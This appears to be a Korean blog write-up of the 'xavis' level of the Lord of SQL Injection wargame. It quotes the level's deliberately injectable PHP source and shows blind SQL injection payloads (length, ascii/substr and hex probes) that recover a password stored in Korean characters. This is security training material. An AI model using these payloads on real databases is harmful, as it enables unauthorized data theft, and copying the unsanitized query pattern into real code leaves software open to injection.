WriteUp/LOS_rubiya

LOS-rubiya : xavis

vared 2020. 8. 26. 10:33
<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  if(preg_match('/regex|like/i', $_GET[pw])) exit("HeHe"); 
  $query = "select id from prob_xavis where id='admin' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_xavis where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("xavis"); 
  highlight_file(__FILE__); 
?>

pw 찾아주는 문제다.

 

. () regex prob like 같은 문자들이 필터링 당하고 있다.

일단 값을 찾아야 하기 때문에 python 코드를 이용해서 짜 보도록 하자.

파이썬 파일은 이전에 썼던 걸 활용할 것이고 기본적인 쿼리만 논해보도록 하자.

 

?pw=%27or%20length(pw)>11%23

이때 admin 문자열 길이는 12 .

 

각 자리의 문자를 찾아보자.

?pw='or ascii(substr(pw,1,1))>0%23

 

자릿수가 0이다. 뭔가 이상해서 hex 구하기로 했다.

?pw=;or ascii(substr(hex(pw),1,1))=0%23

 

0000C6B00000C6550000AD73

ưÆU­s

안되는데, utf-8 해보자

0000C6B00000C6550000AD73

 

찾아보니까 한글이었다…. python 내에서 확인함.

 

-> 우왕굳

 

비밀번호가 한글인 건 처음이였다. 다양하게 봐야겠네,,,